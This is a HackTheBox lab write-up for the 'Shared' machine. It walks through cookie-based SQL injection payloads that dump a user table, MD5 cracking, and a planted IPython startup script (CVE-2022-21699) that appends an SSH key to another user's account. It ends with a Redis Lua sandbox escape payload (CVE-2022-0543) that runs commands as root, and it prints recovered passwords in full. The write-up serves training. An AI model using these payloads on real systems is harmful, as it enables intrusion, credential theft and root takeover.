HTB: Shared Writeup
Shared - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Shared |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Shared is a PrestaShop-based e-commerce box whose entire attack chain starts in a place most testers never look: a JSON blob stuffed inside a cart cookie. The custom_cart cookie turns out to be a raw, unsanitized fragment of a backend SQL query, and because the application renders one product row per query, the standard “stack everything in a UNION” approach fails silently until the LIMIT offset,1 trick is applied. From there it’s a straight line through a cracked MD5 hash, an SSH foothold, a Python interpreter startup-file hijack (CVE-2022-21699), a Go binary that gives up its secrets to strings without a fight, and a Debian-packaged Redis instance vulnerable to a Lua sandbox escape (CVE-2022-0543) that hands over a root shell.
TL;DR: custom_cart cookie SQLi (MariaDB 10.5.15, row-by-row UNION+LIMIT 1,1#) → dump user table → crack MD5 → SSH as james_mason → CVE-2022-21699 IPython CWD-startup-file RCE via world-writable /opt/scripts_review → SSH as dan_smith (user.txt) → strings on sysadmin-owned Go binary redis_connector_dev → hardcoded Redis password → CVE-2022-0543 Lua sandbox escape against local Redis 6.0.15 → root (root.txt).
Reconnaissance
Port Scanning
# full TCP sweep followed by service/version detection on the discovered portsnmap -p- --min-rate=1000 -T4 10.10.11.X -oN shared_full.txtnmap -p22,80,443 -sC -sV 10.10.11.XResults:
22/tcp— OpenSSH80/tcp— nginx, redirects toshared.htb443/tcp— nginx over TLS, PrestaShop storefront
Service Enumeration
Adding the host to /etc/hosts and browsing over HTTPS lands on a live PrestaShop instance:
echo "10.10.11.X shared.htb" | sudo tee -a /etc/hostsThe storefront points to a separate checkout flow on a subdomain, which also needs to be resolved:
echo "10.10.11.X checkout.shared.htb" | sudo tee -a /etc/hostscheckout.shared.htb hosts PrestaShop’s checkout process. Adding items to the cart sets a custom_cart cookie whose value is URL-encoded JSON:
custom_cart={"<product_code>":"<qty>"}Vulnerability Assessment
- The cookie is not just client-side state — the product code portion is concatenated straight into a backend SQL query. Injecting a bare single quote breaks the query (empty cart); terminating with
'#restores it, confirming the code enters a raw string context that can be closed and commented out. - Each cart row corresponds to a separate backend query rather than one combined query — a UNION with too few or too many columns returns nothing, and results only reappear once the column count and
LIMIToffset are aligned per-row. - Backend database: MariaDB 10.5.15.
Initial Foothold
Exploitation Path — Cookie SQL Injection
1. Confirm the injection point and column count.
Because the app only ever displays one row per product code, a straightforward UNION SELECT returns nothing until the column count matches and the correct row is selected with LIMIT offset,1:
# breaks the query -> empty cart{"X'":"1"}
# comment out the rest of the query -> cart renders again, confirms injectable{"X'#":"1"}
# 3-column UNION returns data once column count lines up{"X' UNION SELECT 1,2,3#":"1"}
# pull row 2 of the union result specifically{"X' UNION SELECT 1,2,3 LIMIT 1,1#":"1"}
# confirm SQLi and grab the backend version in one shot{"X' UNION SELECT 1,version(),3 LIMIT 1,1#":"1"}This confirmed MariaDB 10.5.15 as the backend and that the injected code runs as one query per row, which is why a naive UNION dump doesn’t work — the technique needs the LIMIT 1,1 offset to walk through result rows one at a time.
2. Dump the user table in a single request.
Rather than paging through the table row-by-row via LIMIT, a GROUP_CONCAT inside the UNION collapses the entire table into one returned field, letting the whole user table come back in a single cookie/response round trip:
# GROUP_CONCAT flattens every row of user(username,password) into one string,# so it fits in the single-row-per-query response the app allows{"X' UNION SELECT 1,(SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a) FROM user),3 LIMIT 1,1#":"1"}This returned the credential pair:
james_mason:<redacted>3. Identify and crack the hash.
The hash length/format matched MD5. Cracked offline against rockyou.txt:
# rockyou wordlist attack against the dumped MD5hashcat -m 0 james_mason.hash /usr/share/wordlists/rockyou.txtResult: james_mason:Soleil101
4. SSH in.
ssh james_mason@10.10.11.X# password: Soleil101id# uid=1000(james_mason) gid=1000(james_mason) groups=1000(james_mason),1002(developer)Lateral Movement — james_mason → dan_smith (CVE-2022-21699)
james_mason belongs to the developer group, which has write access to /opt/scripts_review. Process enumeration showed dan_smith periodically running ipython from that directory.
IPython resolves configuration “profiles” by checking os.getcwd() before the user’s own ~/.ipython directory. If a profile_default/startup/ folder exists in the current working directory, any .py/.ipy file inside it is auto-executed at session start — this is CVE-2022-21699. Since dan_smith runs ipython from inside the group-writable /opt/scripts_review, dropping a malicious startup script there gets it executed as dan_smith.
# create the CWD-relative profile IPython will find before ~/.ipythonmkdir -m 777 -p /opt/scripts_review/profile_default/startup
# planted startup script appends our SSH pubkey to dan_smith's authorized_keyscat > /opt/scripts_review/profile_default/startup/init.py <<'EOF'with open("/home/dan_smith/.ssh/authorized_keys", "a") as f: f.write("ssh-ed25519 AAAA... kali@attacker\n")EOFOnce dan_smith’s scheduled ipython run picked up init.py, the pubkey was appended and SSH access followed directly — no reverse shell needed:
ssh dan_smith@10.10.11.Xid# groups include sysadmin🏴 user.txt: <redacted>
Privilege Escalation
dan_smith → root
dan_smith’s sysadmin group owns a Go binary, /usr/local/bin/redis_connector_dev. Rather than loading it into a disassembler, Go binaries typically keep string literals — including hardcoded credentials — as plain constants in .rodata, so a plain strings pass is often enough:
# Go string literals land in .rodata untouched -- no need for Ghidrastrings /usr/local/bin/redis_connector_dev | grep -iE 'pass|redis|auth'This surfaced the Redis auth password directly: F2WHqJUz2WEz=Gqq
Local Redis was confirmed listening and reachable on the box:
redis-cli -a 'F2WHqJUz2WEz=Gqq' INFO server | grep redis_version# redis_version:6.0.15Redis 6.0.15 as packaged on Debian is vulnerable to CVE-2022-0543 — a Lua sandbox escape. Debian/Ubuntu’s Redis package ships with a Lua library (liblua5.1.so.0) that isn’t stripped of the debug/library-loading interface the way it should be for a sandboxed scripting engine, so package.loadlib can be used from inside EVAL to load arbitrary shared objects and call back into non-sandboxed Lua functions like io.popen:
# CVE-2022-0543: pull in the unsandboxed io library via package.loadlib,# then popen a shell command as the Redis process (root)redis-cli -a 'F2WHqJUz2WEz=Gqq' EVAL \ "local f = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0','luaopen_io'); \ local io = f(); \ return io.popen('id'):read('*a')" 0# uid=0(root) gid=0(root) groups=0(root)Since the exploit ran directly on the box as dan_smith against the local Redis instance, no port-forwarding (chisel or otherwise) was required — the whole escalation happened in-place. From there, io.popen was used to read /root/root.txt directly through the same EVAL.
🏴 root.txt: <redacted>
Note: the jump box used for parts of this engagement had a fully-exhausted
/tmp, which forced working around normal tool-staging steps (e.g. extracting the Go binary’s secret viastringsin place rather than downloading it for offline reversing, and running the Redis exploit directly on-target rather than forwarding the port back). The underlying vulnerabilities and exploitation logic are unaffected by this constraint.
Attack Chain Summary
custom_cart cookie SQLi (MariaDB 10.5.15, UNION + LIMIT 1,1# row-walk + GROUP_CONCAT dump) → user table dumped → james_mason MD5 cracked (rockyou → Soleil101) → SSH as james_mason (developer group) → CVE-2022-21699: malicious profile_default/startup/init.py in group-writable /opt/scripts_review → IPython run by dan_smith executes it → SSH pubkey appended to authorized_keys → SSH as dan_smith (user.txt, sysadmin group) → strings on sysadmin-owned Go binary redis_connector_dev → hardcoded Redis password → CVE-2022-0543: Redis 6.0.15 Lua sandbox escape via package.loadlib + io.popen → root shell (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service/version detection |
| Browser / cookie manipulation | Discovering and manipulating the custom_cart JSON cookie |
Manual UNION-based SQLi (LIMIT 1,1#, GROUP_CONCAT) | Confirming and exploiting the cookie SQLi, dumping the user table |
hashcat | Cracking the dumped MD5 hash against rockyou.txt |
ssh | Foothold and lateral access as james_mason / dan_smith |
| CVE-2022-21699 (IPython CWD startup-file exec) | Lateral movement from james_mason to dan_smith |
strings | Extracting the hardcoded Redis password from the Go binary without reversing |
redis-cli | Authenticating to and exploiting the local Redis instance |
| CVE-2022-0543 (Redis Lua sandbox escape) | Root privilege escalation |
Key Learnings
Techniques Practiced
- Identifying SQL injection hidden inside a structured (JSON) cookie value rather than an obvious URL/form parameter
- Row-by-row UNION-based SQLi exploitation using
LIMIT offset,1when an application only ever renders a single result row per query - Single-shot table exfiltration via
GROUP_CONCATinside a UNION injection - CVE-2022-21699 — IPython profile startup-file execution from an attacker-writable current working directory
- Extracting hardcoded secrets from a compiled Go binary via
strings, without needing Ghidra/disassembly - CVE-2022-0543 — Redis Lua sandbox escape on Debian-packaged Redis via
package.loadlib
Lessons Learned
- Structured cookie values (JSON, serialized objects) deserve the same injection testing as URL and form parameters — the backend often treats a sub-field as a raw query fragment.
- When UNION injection returns nothing despite a plausible column count, check whether the application expects exactly one row per query;
LIMIT offset,1recovers access to each row individually. - Group-writable shared directories (
/opt/scripts_reviewhere) combined with another user routinely running an interpreter from that path is a reliable lateral movement vector — CVE-2022-21699 is one concrete instance of a broader “interpreter trusts CWD” class of bug. - Don’t reach for a disassembler before running
strings— Go binaries commonly leave credentials and connection details as plaintext string constants. - Distribution-packaged software can carry vulnerabilities (or vulnerable configurations) not present upstream; Redis’s Lua sandbox escape here was specifically tied to how Debian packages the Lua library alongside Redis.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- C4rm3l0, “Shared” — Official HackTheBox Writeup, Document No. D22.100.206 (Machine Author: Nauten). Used for background on CVE-2022-21699 (IPython CWD startup-file execution) and CVE-2022-0543 (Redis Lua sandbox escape mechanics); all IPs, commands, outputs, and credentials above are from the author’s own solve of this box.